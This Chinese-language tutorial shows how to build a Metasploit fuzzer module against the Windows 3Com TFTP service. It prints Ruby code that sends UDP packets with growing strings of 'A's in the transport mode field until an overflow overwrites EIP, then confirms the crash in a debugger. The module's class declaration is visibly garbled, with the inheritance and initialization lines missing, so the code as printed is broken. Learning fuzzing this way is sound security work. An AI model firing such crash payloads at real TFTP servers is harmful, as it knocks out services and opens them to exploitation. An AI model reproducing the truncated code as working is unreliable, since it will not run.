编写您自己的TFTP漏洞检查工具
Metasploit最强大的方面之一是通过重用现有代码来进行更改和创建新功能是多么容易。
例如,正如这个非常简单的Fuzzer代码所演示的那样,您可以对现有的Metasploit模块进行一些小修改以创建一个Fuzzer模块。这些更改会将不断增加的传输模式值传递给Windows 3Com TFTP服务,从而导致覆盖EIP。
#Metasploit
require 'msf/core'
class Metasploit3 '3Com TFTP Fuzzer',
'Version' => '$Revision: 1 $',
'Description' => '3Com TFTP Fuzzer Passes Overly Long Transport Mode String',
'Author' => 'Your name here',
'License' => MSF_LICENSE
)
register_options( [
Opt::RPORT(69)
], self.class)
end
def run_host(ip)
# Create an unbound UDP socket
udp_sock = Rex::Socket::Udp.create(
'Context' =>
{
'Msf' => framework,
'MsfExploit' => self,
}
)
count = 10 # Set an initial count
while count < 2000 # While the count is under 2000 run
evil = "A" * count # Set a number of "A"s equal to count
pkt = "\x00\x02" + "\x41" + "\x00" + evil + "\x00" # Define the payload
udp_sock.sendto(pkt, ip, datastore['RPORT']) # Send the packet
print_status("Sending: #{evil}") # Status update
resp = udp_sock.get(1) # Capture the response
count += 10 # Increase count by 10, and loop
end
end
end
测试我们的漏洞检查工具
我们需要用上软件:OllyDbg,非常直截了当。让我们运行它,看看会发生什么。
我们有一个崩溃!我们新的Fuzzer工具按预期工作。尽管表面上看起来很简单,但需要考虑的一件事是可以为我们提供的可重用代码。
在我们的例子中,为我们定义了有效载荷结构,为我们节省了时间,并且允许我们直接进行Fuzzer测试而不是研究TFTP协议。这是非常强大的,并且是Metasploit框架的一个隐藏的好处。